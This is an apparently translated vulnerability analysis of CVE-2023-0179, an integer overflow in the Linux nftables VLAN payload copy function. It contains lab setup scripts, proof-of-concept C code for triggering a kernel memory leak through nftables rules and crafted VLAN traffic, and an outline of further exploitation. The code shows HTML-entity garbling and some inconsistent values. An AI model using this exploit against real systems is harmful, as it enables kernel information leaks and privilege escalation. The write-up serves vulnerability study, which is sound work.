CVE-2023-0179-Nftables integer overflow

Foreword

Netfilter is a network packet filtering framework for Linux operating systems that provides a flexible way to manage the flow of network packets. Netfilter allows system administrators and developers to control how data packets are processed in the Linux kernel to implement network security, Network Address Translation (NAT), packet filtering and other functions.

Cause of vulnerability

The vulnerability occurs inside the nft_payload_copy_vlan function. Due to an integer overflow when calculating the length of the header of the copied VLAN frame, data exceeding the header length is copied.

The code details are as follows:

nft_payload_copy_vlan

#define VLAN_HLEN 4 /* The additional bytes required by VLAN
                     * (in addition to the Ethernet header)
                     */
#define VLAN_ETH_HLEN 18 /* Total octets in header. */


/*
*d represents the destination register
* skb is usually the buffer area of the network protocol stack
*offset is the offset of the data packet
* len is the length of the copy
*/
static bool
nft_payload_copy_vlan(u32 *d, const struct sk_buff *skb, u8 offset, u8 len)
{
    int mac_off = skb_mac_header(skb) - skb->data; //Get the Ethernet frame header offset
    u8 *vlanh, *dst_u8 = (u8 *) d;
    struct vlan_ethhdr veth;
    u8 vlan_hlen = 0;
    
    /*
        The IEEE 8021Q protocol modifies the standard Ethernet frame and adds a VLAN tag.
        The IEEE 8021AD protocol adds dual VLAN tags, one for the internal network and one for the external network.
    */
    if ((skb->protocol == htons(ETH_P_8021AD) ||
         skb->protocol == htons(ETH_P_8021Q)) & amp; & amp;
        offset >= VLAN_ETH_HLEN & amp; & amp; offset < VLAN_ETH_HLEN + VLAN_HLEN)
        vlan_hlen + = VLAN_HLEN;

    vlanh = (u8 *) & amp;veth;
    if (offset < VLAN_ETH_HLEN + vlan_hlen) { //offset < 18 + 4
        u8 ethlen = len; //length of copy

        if (vlan_hlen & amp; & amp;
            skb_copy_bits(skb, mac_off, & veth, VLAN_ETH_HLEN) < 0)
            return false;
        else if (!nft_payload_rebuild_vlan_hdr(skb, mac_off, & amp;veth))
            return false;

        if (offset + len > VLAN_ETH_HLEN + vlan_hlen)
            ethlen -= offset + len - VLAN_ETH_HLEN + vlan_hlen;
            //ethlen = ethlen - (offet + len - VLAN_ETH_HLEN + vlan_hlen);
            //ethlen = ethlen - offset - len + VLAN_ETH_HELN - vlan_hlen;
            //ethlen = VLAN_ETH_HELN - vlan_hlen - offset
            //ethlen = 14 - offset
            //If offset > 14, it will cause ethlen to overflow
            

        memcpy(dst_u8, vlanh + offset - vlan_hlen, ethlen); //This actually copies the header of the vlan frame, but if ethlen overflows, the excess bytes will be copied

        len -= ethlen;
        if (len == 0)
            return true;

        dst_u8 + = ethlen;
        offset = ETH_HLEN + vlan_hlen;
    } else {
        offset -= VLAN_HLEN + vlan_hlen;
    }

    return skb_copy_bits(skb, offset + mac_off, dst_u8, len) == 0;
}

The actual function of this function is to copy the VLAN header from the data packet to the specified register for storage. The function will start to verify the protocol of the data packet. If it is IEEE 8021Q or IEEE 8021AD protocol indicates that VLAN TAG is added to the Ethernet frame, then the TAG needs to be copied when copying the VLAN header. is also counted. Before copying, the length to be copied needs to be calculated first, so a length verification will be performed. If the offset plus length exceeds the header length of the VLAN frame, a calibration of the copy length is required. , to prevent copying too much data, but there is a problem with this check. Through the formula derived above, it can be found that when offset is greater than 14 and less than 22And when the value of offset + len is greater than 22, ethlen will overflow. This is because ethlen itself It is an unsigned integer type. When the result is a negative number, ethlen will become very large.

There is a point to note here. When calculating ethlen, vlan_hlen will be added instead of subtracted because vlan_hlen will be subtracted first by default when copying. .

Then when offset = 19 and len = 4, then offset + len = 23 > 22, so it will enter if statement, then ethlen = 14 - 19 = -5 (overflow occurs)

Environment setup

The qemu + linux6.16 kernel is used here to build the environment. The author’s script to create a virtual network device is as follows

https://github.com/TurtleARM/CVE-2023-0179-PoC/blob/master/setup.sh

#!/bin/sh

# create the peer virtual device
ip link add eth0 type veth peer name host-enp3s0
ip link set host-enp3s0 up
ip link set eth0 up
ip addr add 192.168.137.137/24 dev host-enp3s0
# add two vlans on top of it
ip link add link host-enp3s0 name vlan.5 type vlan id 5
ip link add link vlan.5 name vlan.10 type vlan id 10
ip addr add 192.168.147.137/24 dev vlan.10
ip link set vlan.5 up
ip link set vlan.10 up
ip link set lo up
# create a bridge to enable hooks
ip link add name br0 type bridge
ip link set dev br0 up
ip link set eth0 master br0
ip addr add 192.168.157.137/24 dev br0

It can be seen that the author needs to create some virtual network devices before exploiting the vulnerability, such as virtual device pairs, vlan interfaces and network bridges. This is because in order to enter the execution process of the nft_payload_copy_vlan function, the data packet needs to be transmitted on vlan. The code looks like this:

void nft_payload_eval(const struct nft_expr *expr,
              struct nft_regs *regs,
              const struct nft_pktinfo *pkt)
{
    const struct nft_payload *priv = nft_expr_priv(expr);
    const struct sk_buff *skb = pkt->skb;
    u32 *dest = & amp;regs->data[priv->dreg];
    int offset;

    if (priv->len % NFT_REG32_SIZE)
        dest[priv->len / NFT_REG32_SIZE] = 0;

    switch (priv->base) {
    case NFT_PAYLOAD_LL_HEADER: //Data link layer
        if (!skb_mac_header_was_set(skb)) //Determine whether the data packet is a mac header
            goto err;

        if (skb_vlan_tag_present(skb)) { //Determine whether the data packet has the vlan flag
            if (!nft_payload_copy_vlan(dest, skb,
                           priv->offset, priv->len))
                goto err;
            return;
        }
        offset = skb_mac_header(skb) - skb->data;
        break;
...

Therefore, in order for the program to enter the vulnerable function, a specific network environment needs to be constructed. The network topology is very similar to that of Docker. For details, please refer to https://cloud.tencent.com/developer/article/1835299. The network topology is roughly as follows. When using a virtual device pair, one end of the interface is used as the input of data and the other end of the interface is used as the outflow of data. Then when performing `hook` in the future, only one `hook` point is needed, and the `vlan` interface is set This is because only `vlan` data packets can enter the process of the `nft_payload_copy_vlan` function, and creating a `vlan` interface again on `vlan.5` is because the data packet can be added to the double-layer `vlan tag , which can be transmitted through the IEEE 8021AD` protocol.

Picture

But when I was debugging in the qemu environment, the protocol of the data packets was not IEEE 8021AD but IEEE 8021Q. When querying the information https://blog .csdn.net/m0_45406092/article/details/118497597 found that the type of `vlan` can be specified as `IEEE 8021AD`, so the script was modified.

#!/bin/sh

# create the peer virtual device
ip link add eth32 type veth peer name host-enp3s0
ip link set host-enp3s0 up
ip link set eth32 up
#ip addr add 192.168.137.137/24 dev host-enp3s0
# add two vlans on top of it
ip link add link host-enp3s0 name vlan.5 type vlan id 5
ip link add link vlan.5 name vlan.10 type vlan protocol 802.1ad id 10
#ip addr add 192.168.147.137/24 dev vlan.5
ip link set vlan.5 up
ip link set lo up
ip link set vlan.10 up

After specifying the protocol, the protocol of the data packet is also changed to IEEE 8021AD

Picture

Picture

At this point, the environment is set up. What needs to be noted here is that when compiling the kernel, you need to use vlan, bridge and IEEE 8021Q, so you need to enable these modules, otherwise An unknow error occurs when creating a device.

Vulnerability verification

You can use the libnftnl library to set the rules using nftables https://github.com/tklauser/libnftnl/tree/master

nftables needs to set table -> chain -> rule -> expr. Since we need to capture data packets on the virtual device pair, we can set the protocol type to NFPROTO_NETDEV, this protocol type is to process data packets from the ingress and can be specified with the HOOK point of ingress and chain If the HOOK point is on a specific device, then in line with the network equipment environment we have built, you can specify the HOOK point as the Ethernet port (eth32).

...
    if (create_table(nl, table_name, NFPROTO_NETDEV, & amp;seq, NULL))
    {
        perror("[-] create table");
        exit(-1);
    }
    
    /* 2. create chain */
    printf("[2] create chain\\
");
    struct unft_base_chain_param up;
    up.hook_num = NF_NETDEV_INGRESS;
    up.prio = INT_MIN;
    if (create_chain(nl, table_name, chain_name, NFPROTO_NETDEV, & amp;up, & amp;seq, NULL, dev_name))
    {
        perror("[-] create chain");
        exit(-1);
    }
...

Then set the expression of payload to trigger the vulnerability. We set offset to 19 and len to 5.

rule_add_payload(r, NFT_PAYLOAD_LL_HEADER, 19, 4, NFT_REG32_00);

You can see that we successfully set the value of ethlen to a value of 251, which is far beyond the length of the Ethernet frame header.

Picture

You can see that in addition to the data in the Ethernet frame header, the value in the register also has some additional data.

Picture

In order to print out these data, you need to use the set that comes with nftables. The set is actually a set of data. For example, we need to filter several ip address, you can use these ip addresses as a set as a filter list, and one attribute in the set is map, which is in the form of key-value pairs Store values, and these values can actually be added through registers. Then we add the values of the above registers to the set and use the nft list ruleset command to obtain the kernel information on the screen. . The code to create the collection is as follows:

//Create a collection
struct nftnl_set* build_set(char* table_name, char* set_name, uint16_t family)
{
    struct nftnl_set *s = NULL;
    
    s = nftnl_set_alloc();
    
    if (s == NULL) {
        perror("OOM");
        exit(EXIT_FAILURE);
    }
    
    nftnl_set_set_str(s, NFTNL_SET_TABLE, table_name);
    nftnl_set_set_str(s, NFTNL_SET_NAME, set_name);
    nftnl_set_set_u32(s, NFTNL_SET_FAMILY, family);
    nftnl_set_set_u32(s, NFTNL_SET_KEY_LEN, 4);
    /* See nftables/include/datatype.h, where TYPE_INET_SERVICE is 13. We
     * should place these datatypes in a public header so third party
     * applications still work with nftables.
     */
    nftnl_set_set_u32(s, NFTNL_SET_KEY_TYPE, NFT_DATA_VALUE); //Storage data in hexadecimal form
    nftnl_set_set_u32(s, NFTNL_SET_DATA_LEN, 4);
    nftnl_set_set_u32(s, NFTNL_SET_DATA_TYPE, NFT_DATA_VALUE);//Storage data in hexadecimal form
    nftnl_set_set_u32(s, NFTNL_SET_ID, 1);
    nftnl_set_set_u32(s, NFTNL_SET_FLAGS, NFT_SET_MAP); //Storage data in map

    return s;
}

After creating the collection, adding data to the collection is done through expressions, while dynamically adding and deleting elements in the collection is processed through dynset expressions. The code for adding expressions is as follows:

void rule_add_dynset(struct nftnl_rule* r, char *set_name, uint32_t reg_key, uint32_t reg_data)
{
    struct nftnl_expr *expr = nftnl_expr_alloc("dynset");
    nftnl_expr_set_str(expr, NFTNL_EXPR_DYNSET_SET_NAME, set_name); //You need to specify the set name of the added element
    nftnl_expr_set_u32(expr, NFTNL_EXPR_DYNSET_OP, NFT_DYNSET_OP_UPDATE); //Specify the operation as an add operation
    nftnl_expr_set_u32(expr, NFTNL_EXPR_DYNSET_SET_ID, 1);
    nftnl_expr_set_u32(expr, NFTNL_EXPR_DYNSET_SREG_KEY, reg_key); //key
    nftnl_expr_set_u32(expr, NFTNL_EXPR_DYNSET_SREG_DATA, reg_data);//value
    nftnl_rule_add_expr(r, expr);
}

What needs to be noted here is that we have specified the network port for capturing data packets, so the data packets need to pass through this network port to capture the data packets. The following is the code used by the author to send data packets. First, the port for sending data packets is bound to vlan.10, since vlan.10 was created on vlan.5, from vlan.10 The outgoing data packet will be double-layered vlan tag, and vlan.5 is created on host-enps32, and host-enps32 and eth32 form a virtual device pair, so the data packet will eventually be sent from eth32 and carry double vlan tagThus entering the function of nft_payload_copy_vlan and triggering the vulnerability.

int send_packet()
{
    int sockfd;
    struct sockaddr_in addr;
    char buffer[] = "This is a test message";
    char *interface_name = "vlan.10"; // double-tagged packet
    int interface_index;
    struct ifreq ifr;
    memset( & amp;ifr, 0, sizeof(ifr));
    memcpy(ifr.ifr_name, interface_name, MIN(strlen(interface_name) + 1, sizeof(ifr.ifr_name)));

    sockfd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
    if (sockfd < 0) {
        perror("[-] Error creating socket");
        return 1;
    }
 
    // Set the SO_BINDTODEVICE socket option
    if (setsockopt(sockfd, SOL_SOCKET, SO_BINDTODEVICE, (void *) & amp;ifr, sizeof(ifr)) < 0) {
        perror("[-] Error setting SO_BINDTODEVICE socket option");
        return 1;
    }

    memset( & amp;addr, 0, sizeof(addr));
    addr.sin_family = AF_INET;
    addr.sin_addr.s_addr = inet_addr("192.168.123.123"); // random destination
    addr.sin_port = htons(1337);
    
    // Send the UDP packet
    if (sendto(sockfd, buffer, sizeof(buffer), 0, (struct sockaddr*) & amp;addr, sizeof(addr)) < 0) {
        perror("[-] Error sending UDP packet");
        return 1;
    }

    close(sockfd);
    return 0;
}

It can be seen that the leakage of kernel information is finally completed.

Picture

Full poc: https://github.com/h0pe-ay/Vulnerability-Reproduction/blob/master/CVE-2023-0179/poc.c

Exploitation

  • ? Use JUMP to adjust stacksize

  • ? Set the register value

  • ?Use nft_payload_copy_vlan to trigger vulnerability copy payload

Reference link

https://github.com/TurtleARM/CVE-2023-0179-PoC

https://github.com/pqlx/CVE-2022-1015

[漏洞分析] CVE-2023-0179内核提权详细分析

https://www.cnblogs.com/mutudou/p/14244640.html

https://zhuanlan.zhihu.com/p/554612685

https://cloud.tencent.com/developer/article/1835299

https://github.com/tklauser/libnftnl/tree/master

https://blog.csdn.net/qq_33997198/article/details/118370071